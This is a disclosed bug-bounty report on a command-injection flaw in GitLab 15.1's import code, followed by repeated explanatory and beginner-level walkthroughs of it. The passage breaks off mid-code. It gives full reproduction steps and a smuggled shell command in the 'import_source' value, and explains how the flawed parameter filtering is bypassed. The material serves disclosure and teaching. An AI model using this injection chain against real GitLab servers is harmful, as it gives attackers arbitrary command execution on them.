RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)
The DecompressedArchiveSizeValidator passed a user-controlled archive path into a shell command, allowing command injection. An attacker could execute arbitrary commands on the GitLab server if the bulk_import_projects feature was enabled.
- Triaged in 6 days
- Fixed in 11 days
- Paid in 6 days
- Disclosed after 3 months
Summary
The DecompressedArchiveSizeValidator is used to check the size of a archive before extracting it:
def command
"gzip -dc #{@archive_path} | wc -c"
end
def validate
pgrp = nil
valid_archive = true
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
Since command is a string and passed directly to Open3.popen3 it will be interpreted as a shell command, so if archive_path contains any special characters it can be used to run arbitrary commands.
One of the places that the DecompressedArchiveSizeValidator is used is in the Gitlab::ImportExport::FileImporter,
def size_validator
@size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
end
It gets @archive_file from the constructor, and is used by the Gitlab::ImportExport::Importer which gets it from project.import_source.
Under normal circumstances import_source is nil and is generated by the FileImporter using @archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable)).
Most of the places I've checked do not allow you to set the import_source for a project, or have the import_type set to something other than gitlab_project or gitlab_custom_project_template (which is required to use the ::Gitlab::ImportExport::Importer).
There is one place though, in the BulkImports::Projects::Pipelines::ProjectPipeline. Luckily this is disabled by default as it requires the bulk_import_projects feature to be enabled. If/once this feature is enabled, it's possible to trigger the above flow.
This is possible as the two transformer on the ProjectPipeline are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer, which first removes a list of prohibited keys:
PROHIBITED_REFERENCES = Regexp.union(
/\Acached_markdown_version\Z/,
/\Aid\Z/,
/_id\Z/,
/_ids\Z/,
/_html\Z/,
/attributes/,
/\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
).freeze
And then sets a few other values:
entity = context.entity
visibility = data.delete('visibility')
data['name'] = entity.destination_name
data['path'] = entity.destination_name.parameterize
data['import_type'] = PROJECT_IMPORT_TYPE
data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?
data.transform_keys!(&:to_sym)
All of the other params are allowed and passed directly into project = ::Projects::CreateService.new(context.current_user, data).execute. The first thing the create service does its to check if it's creating from a template, and if so the CreateFromTemplateService is used instead:
def execute
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
def create_from_template?
@params[:template_name].present? || @params[:template_project_id].present?
end
Since we control all of the params, this path can be triggered by setting template_name to a valid template such as rails. This then uses the GitlabProjectsImportService which allows the import_type to be changed from gitlab_project_migration to gitlab_project.
def prepare_import_params
data = {}
data[:override_params] = @override_params if @override_params
if overwrite_project?
data[:original_path] = params[:path]
params[:path] += "-#{tmp_filename}"
end
if template_file
data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
params[:import_type] = 'gitlab_project'
end
params[:import_data] = { data: data } if data.present?
end
The Projects::CreateService service is then called again with the updated import_type, but the rest of our params the same. This causes the import_schedule to happen as @project.gitlab_project_migration? is no longer true
def import_schedule
if @project.errors.empty?
@project.import_state.schedule if @project.import? && [email protected]_repository_import? && [email protected]_project_migration?
else
fail(error: @project.errors.full_messages.join(', '))
end
end
If a custom import_source was used, it will be used as the @archive_file for the Gitlab::ImportExport::FileImporter. After wait_for_archived_file has reached MAX_RETRIES (it continues instead of failing) then validate_decompressed_archive_size will be called and then Open3.popen3 with a controllable string.
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.1.0-ee/lib/gitlab/import_export/file_importer.rb#L45
wait_for_archived_file do
validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
decompress_archive
end
def wait_for_archived_file
MAX_RETRIES.times do |retry_number|
break if File.exist?(@archive_file)
sleep(2**retry_number)
end
yield
end
Steps to reproduce
- spin up a gitlab instance
- ssh in and enable bulk project imports with from a rails console:
sudo gitlab-rails consolethen::Feature.enable(:bulk_import_projects) - start watching the logs with
sudo gitlab-ctl tail - create an api token
- create a new group
- create a new project in that group
- download (Attachment on the original report: api_project_ql.py) and change
PROJECT_PATHto the full path of the project above andPROJECT_IDto its id - change
"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",to be your custom command (it cannot contain>as json will convert it to\u003c) - (optional) remove
proxies={"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}if you are not using burp/another proxy - run it with
FLASK_APP=api_project_ql.py flask run - start ngrok with
ngrok http 5000 - go to new group -> import group
- enter the ngrok http address and your token from above in the
Import groups from another instance of GitLabsection - select the group created above, change the parent to
No parentand choose a new group name - hit import
- you should see requests being made, then after the project is imported and the
wait_for_archived_filehas timed out (takes a few minutes) you should see something like following error in the logs and the payload will execute:
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$
Impact
If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server
What is the current bug behavior?
- The
DecompressedArchiveSizeValidatorpasses a string topopenthat can contain attacker controlled data - The
ProjectPipelinedoes not correctly filter the project params
What is the expected correct behavior?
- The
DecompressedArchiveSizeValidatorshould useGitlab::Popenand the command should be an array of strings - The
ProjectPipelineshould use theGitlab::ImportExport::AttributeCleaneror just have a whitelist of allowed params
Relevant logs and/or screenshots
{
"severity": "ERROR",
"time": "2022-06-23T01:52:57.556Z",
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"exception.class": "Gitlab::ImportExport::Error",
"exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
"user.username": "vakzz",
"tags.program": "sidekiq",
"tags.locale": "en",
"tags.feature_category": "importers",
"tags.correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"extra.sidekiq": {
"retry": false,
"queue": "repository_import",
"version": 0,
"backtrace": 5,
"dead": false,
"status_expiration": 86400,
"memory_killer_memory_growth_kb": 50,
"memory_killer_max_memory_growth_kb": 300000,
"args": [
"31"
],
"class": "RepositoryImportWorker",
"jid": "9d28590a58ec7db944453edc",
"created_at": 1655948922.4369478,
"correlation_id": "0d72e54e82938b4b82aa3dcafe6c4dfe",
"meta.user": "vakzz",
"meta.client_id": "user/2",
"meta.caller_id": "BulkImports::PipelineWorker",
"meta.remote_ip": "192.168.0.144",
"meta.feature_category": "importers",
"meta.root_caller_id": "Import::BulkImportsController#create",
"meta.project": "imported_13/export_project",
"meta.root_namespace": "imported_13",
"worker_data_consistency": "always",
"idempotency_key": "resque:gitlab:duplicate:repository_import:e64a87ccd733ff3c9b12cd20d98ea1d44a21196e9d0398c0af668ee84bf77358",
"size_limiter": "validated",
"enqueued_at": 1655948922.442958
},
"extra.importer": "Import/Export",
"extra.exportable_id": 31,
"extra.exportable_path": "imported_13/export_project",
"extra.import_jid": null
}
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.4
Bundler Version:2.3.15
Rake Version: 13.0.6
Redis Version: 6.2.7
Sidekiq Version:6.4.0
Go Version: unknown
GitLab information
Version: 15.1.0-ee
Revision: 31c24d2d864
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.10
URL: http://gitlab.wbowling.info
HTTP Clone URL: http://gitlab.wbowling.info/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.7.4
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
If the bulk_import_projects feature is enabled, allows an attacker to execute arbitrary commands on a gitlab server.
Context
GitLab's import/export machinery lets a project be moved between instances. When a project archive is imported, GitLab needs to know how large the archive becomes once decompressed, so it can refuse archives that would expand beyond a safe limit. That check lives in DecompressedArchiveSizeValidator, in lib/gitlab/import_export/decompressed_archive_size_validator.rb.
The validator builds a shell command string and hands it to Open3.popen3. The archive path is interpolated into that string. The path normally comes from GitLab itself, but the report shows a route through the bulk project import pipeline (BulkImports::Projects::Pipelines::ProjectPipeline) where an attacker can supply the project's import_source, which becomes the archive path. The bulk project import feature is gated behind the bulk_import_projects feature flag and is disabled by default.
Setup
The researcher worked against their own GitLab instance, version 15.1.0-ee (revision 31c24d2d864), running on Ubuntu 20.04 with Ruby 2.7.5p203, PostgreSQL 12.10, Redis 6.2.7 and Sidekiq 6.4.0. The environment report lists GitLab Shell 14.7.4 and the default repository storage path /var/opt/gitlab/git-data/repositories.
Preconditions for the exploit:
- The
bulk_import_projectsfeature flag must be enabled. It is off by default. - The
validate_import_decompressed_archive_sizefeature gates the size check in the code shown. - The attacker needs an API token and the ability to create a group and a project, and to start a group import from another instance.
Finding it
The validator's command method builds a string:
def command
"gzip -dc #{@archive_path} | wc -c"
end
def validate
pgrp = nil
valid_archive = true
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
Because command is a single string passed to Open3.popen3, it is interpreted by a shell. Any shell metacharacters in @archive_path therefore become part of a command line. That is the injection primitive.
The next question is whether an attacker can control @archive_path. The validator is used by Gitlab::ImportExport::FileImporter:
def size_validator
@size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
end
@archive_file comes from the constructor, and Gitlab::ImportExport::Importer passes it in from project.import_source. Normally import_source is nil, and the FileImporter generates the path itself with @archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable)).
Most code paths the researcher checked either do not let you set import_source on a project or force import_type to something other than gitlab_project or gitlab_custom_project_template, which is required to reach ::Gitlab::ImportExport::Importer. One path does allow it: BulkImports::Projects::Pipelines::ProjectPipeline, behind the bulk_import_projects flag.
Exploitation
Step 1: Enable the feature flag
On the instance, from a Rails console:
sudo gitlab-rails console
::Feature.enable(:bulk_import_projects)
Step 2: Prepare the target project and token
Create an API token, a new group, and a new project inside that group. Start tailing the logs with sudo gitlab-ctl tail so the worker output is visible.
Step 3: Configure the import script
Download the attachment api_project_ql.py from the report and set PROJECT_PATH to the full path of the project created above and PROJECT_ID to its id. Change the payload line:
"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",
to your own command. The report notes the command cannot contain > because JSON will convert it to \u003c. Optionally remove the proxy line if you are not using Burp or another proxy:
proxies={"http":"http://[redacted]:8080", "https":"http://[redacted]:8080"}
Run the script with:
FLASK_APP=api_project_ql.py flask run
and expose it with:
ngrok http 5000
Step 4: Start the group import
In the UI, go to the new group, choose import group, and enter the ngrok HTTP address and the token in the Import groups from another instance of GitLab section. Select the group created earlier, set the parent to No parent, choose a new group name, and hit import.
Step 5: Observe the payload executing
Requests are made, the project is imported, and after wait_for_archived_file times out (a few minutes), the logs show an error like:
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
The payload has run:
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$
The relevant log entry is a Gitlab::ImportExport::Error from the RepositoryImportWorker:
{
"severity": "ERROR",
"time": "2022-06-23T01:52:57.556Z",
"correlation_id": "[redacted]",
"exception.class": "Gitlab::ImportExport::Error",
"exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
"user.username": "vakzz",
"tags.program": "sidekiq",
"tags.locale": "en",
"tags.feature_category": "importers",
"tags.correlation_id": "[redacted]",
"extra.sidekiq": {
"retry": false,
"queue": "repository_import",
"version": 0,
"backtrace": 5,
"dead": false,
"status_expiration": 86400,
"memory_killer_memory_growth_kb": 50,
"memory_killer_max_memory_growth_kb": 300000,
"args": [
"31"
],
"class": "RepositoryImportWorker",
"jid": "9d28590a58ec7db944453edc",
"created_at": 1655948922.4369478,
"correlation_id": "[redacted]",
"meta.user": "vakzz",
"meta.client_id": "user/2",
"meta.caller_id": "BulkImports::PipelineWorker",
"meta.remote_ip": "[redacted]",
"meta.feature_category": "importers",
"meta.root_caller_id": "Import::BulkImportsController#create",
"meta.project": "imported_13/export_project",
"meta.root_namespace": "imported_13",
"worker_data_consistency": "always",
"idempotency_key": "resque:gitlab:duplicate:repository_import:[redacted]",
"size_limiter": "validated",
"enqueued_at": 1655948922.442958
},
"extra.importer": "Import/Export",
"extra.exportable_id": 31,
"extra.exportable_path": "imported_13/export_project",
"extra.import_jid": null
}
Root cause
Two mistakes combine.
First, DecompressedArchiveSizeValidator passes a string to Open3.popen3, so the shell parses it. The archive path is interpolated into that string without escaping, so shell metacharacters in the path become shell syntax.
Second, ProjectPipeline does not properly filter the project parameters it forwards. Its two transformers are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer. The first removes a list of prohibited keys:
PROHIBITED_REFERENCES = Regexp.union(
/\Acached_markdown_version\Z/,
/\Aid\Z/,
/_id\Z/,
/_ids\Z/,
/_html\Z/,
/attributes/,
/\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
).freeze
The second sets a few values:
entity = context.entity
visibility = data.delete('visibility')
data['name'] = entity.destination_name
data['path'] = entity.destination_name.parameterize
data['import_type'] = PROJECT_IMPORT_TYPE
data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?
data.transform_keys!(&:to_sym)
Everything else is allowed and passed straight into project = ::Projects::CreateService.new(context.current_user, data).execute. import_source is not on the prohibited list, so it survives.
The create service first checks whether it is creating from a template:
def execute
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
def create_from_template?
@params[:template_name].present? || @params[:template_project_id].present?
end
Because all params are attacker controlled, setting template_name to a valid template such as rails takes this branch. That leads to GitlabProjectsImportService, which changes import_type from gitlab_project_migration to gitlab_project:
def prepare_import_params
data = {}
data[:override_params] = @override_params if @override_params
if overwrite_project?
data[:original_path] = params[:path]
params[:path] += "-#{tmp_filename}"
end
if template_file
data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
params[:import_type] = 'gitlab_project'
end
params[:import_data] = { data: data } if data.present?
end
Projects::CreateService runs again with the updated import_type and the rest of the params unchanged. Because @project.gitlab_project_migration? is no longer true, import_schedule fires:
def import_schedule
if @project.errors.empty?
@project.import_state.schedule if @project.import? && [email protected]_repository_import? && [email protected]_project_migration?
else
fail(error: @project.errors.full_messages.join(', '))
end
end
With a custom import_source, that value becomes @archive_file for Gitlab::ImportExport::FileImporter. The importer waits for the archive file, and when wait_for_archived_file reaches MAX_RETRIES it continues rather than failing, then calls validate_decompressed_archive_size and reaches Open3.popen3 with the attacker-controlled string:
wait_for_archived_file do
validate_decompressed_archive_size if Feature.enabled?(:validate_import_decompressed_archive_size)
decompress_archive
end
def wait_for_archived_file
MAX_RETRIES.times do |retry_number|
break if File.exist?(@archive_file)
sleep(2**retry_number)
end
yield
end
Impact
If the bulk_import_projects feature is enabled, an attacker can execute arbitrary commands on the GitLab server. The exploit depends on the feature flag being on; with the default configuration the path is not reachable.
Fix
The report recommends two changes:
DecompressedArchiveSizeValidatorshould useGitlab::Popenand pass the command as an array of strings, so no shell is involved.ProjectPipelineshould useGitlab::ImportExport::AttributeCleaner, or maintain a whitelist of allowed params, instead of relying on a blocklist.
Variants to test
- Look for other callers of
DecompressedArchiveSizeValidatorwhere the archive path can be influenced, for example through import settings or API parameters. A positive result is a path containing shell metacharacters reaching the validator. - Audit other
Open3.popen3,system, backtick or%xcalls that interpolate user-controlled strings. A positive result is a command string where a parameter you control is not escaped. - Test other bulk import pipelines for parameters that survive the prohibited-attributes transformer and reach a service that acts on them. A positive result is a parameter you set appearing in a downstream service call.
- Try the template branch (
template_nameortemplate_project_id) on other create flows to see whether it changesimport_typeor other security-relevant fields. A positive result is a state change that enables a code path otherwise unreachable.
Hunting notes
This class of bug tends to hide in import/export and migration code, where file paths and archive names are assembled from user-supplied metadata and then passed to shell helpers. During recon, look for feature flags that gate importers, and for services that accept a broad hash of attributes with only a blocklist for protection. The researcher demonstrated impact by running a harmless command (echo lala|tee /tmp/1234) and showing the output file, alongside the worker error log. That evidence, combined with the clear code path from the bulk import pipeline to Open3.popen3, was enough to establish arbitrary command execution.
What happened, in plain words
GitLab is a website you can install on your own server to host code projects. It has a feature that lets you move a project from one GitLab server to another by exporting it as a file and importing it elsewhere. When GitLab imports such a file, it first wants to know how big the file will be once it is unpacked, so it can refuse files that would explode into something enormous. To measure that, GitLab runs a small command on the server.
The researcher found that the piece of code doing this measurement, called DecompressedArchiveSizeValidator, builds that command as one long piece of text and hands it to the operating system to run. If part of that text comes from a user, the user can sneak extra commands into it. This is called command injection: you trick a program into running commands you were never supposed to run.
The tricky part was getting a user-supplied value into that text. Normally GitLab fills in the file path itself. But there is a newer feature, bulk project imports, that lets a user send a whole bundle of project settings, and one of those settings, import_source, ends up being used as the file path. That feature is switched off by default behind a feature flag, which is a toggle that turns a piece of code on or off.
So the chain is: turn on the feature flag, send a project import request with a crafted import_source, wait a few minutes, and the server runs your command. The researcher proved it by writing a harmless file on the server.
Background you need
What GitLab is
GitLab is software for hosting source code and managing projects. You can run it on your own machine or server (a "self-hosted instance"), which is what the researcher did here. The report is about the researcher's own GitLab instance, version 15.1.0-ee.
What import and export mean here
GitLab can export a project into an archive file (a single file containing the project's data) and import it into another GitLab instance. This is how teams move projects between servers. The import code lives in a part of GitLab called Gitlab::ImportExport.
What a feature flag is
A feature flag is a switch inside the software that turns a feature on or off without changing the code. GitLab uses them to release new features gradually. The bulk project import feature is behind a flag called bulk_import_projects, and it is off by default. That matters a lot: with the default settings, the attack path described here is not reachable.
What an API and an API token are
An API (application programming interface) is a way for one program to talk to another over the network, instead of a person clicking buttons in a browser. An API token is a long secret string that acts like a password for a program: whoever holds it can make API requests as that user. The researcher created one so their script could talk to GitLab.
What a shell command is
A shell is the program on a server that reads text commands and runs them. When a program passes a single piece of text to the shell, the shell looks for special characters such as ; (run another command after this one), | (send the output of one command into another) and # (ignore the rest of the line). If a user can put those characters into the text, the user can add their own commands. That is the whole idea behind command injection.
The vulnerable code
The validator builds its command like this:
def command
"gzip -dc #{@archive_path} | wc -c"
end
def validate
pgrp = nil
valid_archive = true
Timeout.timeout(TIMEOUT_LIMIT) do
stdin, stdout, stderr, wait_thr = Open3.popen3(command, pgroup: true)
stdin.close
Line by line:
def commandstarts a method (a named block of code) calledcommand."gzip -dc #{@archive_path} | wc -c"builds a piece of text.gzip -dcis a program that unpacks a compressed file.#{@archive_path}inserts the archive's file path into the text.| wc -cpipes the unpacked output intowc -c, which counts bytes. So the whole thing means "unpack this file and count how many bytes come out".def validatestarts the method that performs the check.Timeout.timeout(TIMEOUT_LIMIT) dosays: run the following block, but give up if it takes longer than a fixed limit.Open3.popen3(command, pgroup: true)is the key line.Open3.popen3is a Ruby helper that starts a program and gives you its input, output and error streams. Becausecommandis one single string, Ruby hands it to the shell, and the shell interprets any special characters inside it.stdin.closecloses the input side, since nothing needs to be typed into the command.
The problem: @archive_path is inserted into a string that the shell will parse. If the path contains ;, | or #, the shell treats those as instructions rather than as part of a filename.
How the path gets controlled
The validator is used by Gitlab::ImportExport::FileImporter:
def size_validator
@size_validator ||= DecompressedArchiveSizeValidator.new(archive_path: @archive_file)
end
Line by line:
def size_validatordefines a method that returns the validator object.@size_validator ||= ...means: if the validator has not been created yet, create it now and remember it; otherwise reuse the one already stored.DecompressedArchiveSizeValidator.new(archive_path: @archive_file)creates the validator and passes it the file path stored in@archive_file.
So the question becomes: who sets @archive_file? It comes from the constructor, and Gitlab::ImportExport::Importer passes it in from project.import_source. Normally import_source is empty, and the FileImporter makes up the path itself with @archive_file = File.join(@shared.archive_path, Gitlab::ImportExport.export_filename(exportable: @importable)).
Most code paths the researcher checked either do not let you set import_source on a project, or force import_type to something other than gitlab_project or gitlab_custom_project_template, which is required to reach ::Gitlab::ImportExport::Importer. One path does allow it: BulkImports::Projects::Pipelines::ProjectPipeline, behind the bulk_import_projects flag.
Setting up the test
The researcher worked against their own GitLab instance, version 15.1.0-ee (revision 31c24d2d864), running on Ubuntu 20.04 with Ruby 2.7.5p203, PostgreSQL 12.10, Redis 6.2.7 and Sidekiq 6.4.0. The environment report lists GitLab Shell 14.7.4 and the default repository storage path /var/opt/gitlab/git-data/repositories.
Before the attack can work, three things must be true:
- The
bulk_import_projectsfeature flag must be enabled. It is off by default. - The
validate_import_decompressed_archive_sizefeature gates the size check in the code shown. - The attacker needs an API token and the ability to create a group and a project, and to start a group import from another instance.
Step by step
Step 1: Turn on the feature flag
On the server, open a Rails console. A Rails console is an interactive prompt where you can run Ruby code inside the running GitLab application, as an administrator.
sudo gitlab-rails console
Line by line:
sudoruns the next command with administrator rights.gitlab-rails consoleopens the interactive console for the GitLab application.
Then, inside the console:
::Feature.enable(:bulk_import_projects)
Line by line:
::Featureis GitLab's feature flag system..enable(:bulk_import_projects)switches the flag namedbulk_import_projectson.
Step 2: Prepare the target project and token
Create an API token, a new group, and a new project inside that group. Start watching the logs with sudo gitlab-ctl tail so the worker output is visible. A worker is a background process that does jobs such as importing; its log is where you see what happened.
Step 3: Configure the import script
Download the attachment api_project_ql.py from the report and set PROJECT_PATH to the full path of the project created above and PROJECT_ID to its id. Then change the payload line:
"import_source":"/tmp/ggg;echo lala|tee /tmp/1234;#",
Line by line:
"import_source"is the project setting that will become the archive path."/tmp/ggg"looks like a normal file path, so the first part of the command looks harmless.;tells the shell: end the current command and start a new one.echo lalaprints the wordlala.|sends that output into the next command.tee /tmp/1234writes what it receives into the file/tmp/1234and also shows it on screen.#tells the shell to ignore everything after it, so the rest of GitLab's original command is thrown away.
The report notes the command cannot contain > because JSON will convert it to \u003c. JSON is the text format used to send data over the API, and it escapes certain characters.
Optionally remove the proxy line if you are not using Burp or another proxy. A proxy is a tool that sits between your script and the server so you can watch and edit the traffic.
proxies={"http":"http://[redacted]:8080", "https":"http://[redacted]:8080"}
Line by line:
proxies=sets where the script should send its traffic."http":"http://[redacted]:8080"sends plain HTTP traffic to a local proxy on port 8080."https":"http://[redacted]:8080"does the same for HTTPS.
Run the script with:
FLASK_APP=api_project_ql.py flask run
Line by line:
FLASK_APP=api_project_ql.pytells Flask, a small Python web framework, which file contains the app.flask runstarts the app as a local web server.
Expose it with:
ngrok http 5000
Line by line:
ngrokis a tool that gives your local server a public web address.http 5000says the local server is listening on port 5000.
This matters because GitLab's group import feature expects to fetch data from a reachable URL.
Step 4: Start the group import
In the GitLab web interface, go to the new group, choose import group, and enter the ngrok HTTP address and the token in the Import groups from another instance of GitLab section. Select the group created earlier, set the parent to No parent, choose a new group name, and hit import.
Why this step: the group import is what makes GitLab fetch the project data from the fake instance.
Step 5: Watch the payload run
Requests are made, the project is imported, and after wait_for_archived_file times out (a few minutes), the logs show an error like:
command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
Line by line:
command exited with error code 2means the command GitLab ran failed.tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directoryshows the exact string that was treated as a filename. Thetarprogram tried to open a file with that whole name, which does not exist.- The remaining lines say
targave up because the error could not be recovered from.
The payload has run:
vagrant@gitlab:~$ cat /tmp/1234
lala
vagrant@gitlab:~$
Line by line:
vagrant@gitlab:~$is the shell prompt on the server.cat /tmp/1234prints the contents of the file the payload was supposed to write.lalais the output, proving the injected command executed.
The relevant log entry is a Gitlab::ImportExport::Error from the RepositoryImportWorker:
{
"severity": "ERROR",
"time": "2022-06-23T01:52:57.556Z",
"correlation_id": "[redacted]",
"exception.class": "Gitlab::ImportExport::Error",
"exception.message": "command exited with error code 2: tar (child): /tmp/ggg;echo lala|tee /tmp/1234;#: Cannot open: No such file or directory\ntar (child): Error is not recoverable: exiting now\ntar: Child returned status 2\ntar: Error is not recoverable: exiting now",
"user.username": "vakzz",
"tags.program": "sidekiq",
"tags.locale": "en",
"tags.feature_category": "importers",
"tags.correlation_id": "[redacted]",
"extra.sidekiq": {
"retry": false,
"queue": "repository_import",
"version": 0,
"backtrace": 5,
"dead": false,
"status_expiration": 86400,
"memory_killer_memory_growth_kb": 50,
"memory_killer_max_memory_growth_kb": 300000,
"args": [
"31"
],
"class": "RepositoryImportWorker",
"jid": "9d28590a58ec7db944453edc",
"created_at": 1655948922.4369478,
"correlation_id": "[redacted]",
"meta.user": "vakzz",
"meta.client_id": "user/2",
"meta.caller_id": "BulkImports::PipelineWorker",
"meta.remote_ip": "[redacted]",
"meta.feature_category": "importers",
"meta.root_caller_id": "Import::BulkImportsController#create",
"meta.project": "imported_13/export_project",
"meta.root_namespace": "imported_13",
"worker_data_consistency": "always",
"idempotency_key": "resque:gitlab:duplicate:repository_import:[redacted]",
"size_limiter": "validated",
"enqueued_at": 1655948922.442958
},
"extra.importer": "Import/Export",
"extra.exportable_id": 31,
"extra.exportable_path": "imported_13/export_project",
"extra.import_jid": null
}
Line by line, the parts that matter:
"severity": "ERROR"says this is an error-level log entry."time"is when it happened."correlation_id"is a tag that ties together all log lines from the same request."exception.class": "Gitlab::ImportExport::Error"is the type of error raised."exception.message"repeats thetarfailure, including the injected string."user.username": "vakzz"is the account that triggered the import."tags.program": "sidekiq"says the log came from Sidekiq, GitLab's background job system."extra.sidekiq"holds details about the background job: its queue (repository_import), its class (RepositoryImportWorker), and the caller that started it (BulkImports::PipelineWorker)."meta.root_caller_id": "Import::BulkImportsController#create"shows the original web request that started the whole chain."meta.project"and"meta.root_namespace"name the project and group involved."extra.importer": "Import/Export"confirms which part of GitLab was running.
Why it works: the root cause
Two mistakes combine.
First, DecompressedArchiveSizeValidator passes a string to Open3.popen3, so the shell parses it. The archive path is inserted into that string without escaping, so shell special characters in the path become shell instructions.
Second, ProjectPipeline does not properly filter the project parameters it forwards. Its two transformers are :BulkImports::Common::Transformers::ProhibitedAttributesTransformer and ::BulkImports::Projects::Transformers::ProjectAttributesTransformer. A transformer is a small step that changes data as it flows through a pipeline. The first removes a list of prohibited keys:
PROHIBITED_REFERENCES = Regexp.union(
/\Acached_markdown_version\Z/,
/\Aid\Z/,
/_id\Z/,
/_ids\Z/,
/_html\Z/,
/attributes/,
/\Aremote_\w+_(url|urls|request_header)\Z/ # carrierwave automatically creates these attribute methods for uploads
).freeze
Line by line:
PROHIBITED_REFERENCES = Regexp.union(...)builds one pattern that matches any of several names. A regexp (regular expression) is a way to describe text patterns./\Acached_markdown_version\Z/matches exactly the namecached_markdown_version;\Ameans start of the name and\Zmeans end./\Aid\Z/matches exactlyid./_id\Z/matches any name ending in_id./_ids\Z/matches any name ending in_ids./_html\Z/matches any name ending in_html./attributes/matches any name containingattributes./\Aremote_\w+_(url|urls|request_header)\Z/matches names that start withremote_, then some word characters, then_url,_urlsor_request_header. The comment explains these are automatically created for uploads..freezemakes the pattern unchangeable.
The second transformer sets a few values:
entity = context.entity
visibility = data.delete('visibility')
data['name'] = entity.destination_name
data['path'] = entity.destination_name.parameterize
data['import_type'] = PROJECT_IMPORT_TYPE
data['visibility_level'] = Gitlab::VisibilityLevel.string_options[visibility] if visibility.present?
data['namespace_id'] = Namespace.find_by_full_path(entity.destination_namespace)&.id if entity.destination_namespace.present?
data.transform_keys!(&:to_sym)
Line by line:
entity = context.entitygrabs the import job's context object.visibility = data.delete('visibility')removes the visibility setting from the incoming data and keeps it in a variable.data['name'] = entity.destination_namesets the project name to the destination name.data['path'] = entity.destination_name.parameterizesets the URL path to a cleaned-up version of that name.data['import_type'] = PROJECT_IMPORT_TYPEsets the import type.data['visibility_level'] = ... if visibility.present?converts the visibility text into a number, if one was given.data['namespace_id'] = ... if entity.destination_namespace.present?looks up the group id for the destination group, if one was given.data.transform_keys!(&:to_sym)converts the keys from text to symbols, which is how Ruby code usually refers to them.
Everything else is allowed and passed straight into project = ::Projects::CreateService.new(context.current_user, data).execute. import_source is not on the prohibited list, so it survives.
The create service first checks whether it is creating from a template:
def execute
if create_from_template?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
def create_from_template?
@params[:template_name].present? || @params[:template_project_id].present?
end
Line by line:
def executestarts the method that creates the project.if create_from_template?asks whether this is a template-based creation.return ::Projects::CreateFromTemplateService.new(current_user, params).executeif so, hands the job to a different service and stops here.def create_from_template?defines the check.@params[:template_name].present? || @params[:template_project_id].present?returns true if either a template name or a template project id was supplied.
Because all params are attacker controlled, setting template_name to a valid template such as rails takes this branch. That leads to GitlabProjectsImportService, which changes import_type from gitlab_project_migration to gitlab_project:
def prepare_import_params
data = {}
data[:override_params] = @override_params if @override_params
if overwrite_project?
data[:original_path] = params[:path]
params[:path] += "-#{tmp_filename}"
end
if template_file
data[:sample_data] = params.delete(:sample_data) if params.key?(:sample_data)
params[:import_type] = 'gitlab_project'
end
